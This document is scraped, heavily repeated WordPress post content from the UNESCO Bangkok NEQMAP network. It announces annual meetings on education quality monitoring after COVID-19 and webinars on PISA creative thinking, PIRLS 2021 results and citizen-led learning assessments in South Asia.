As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

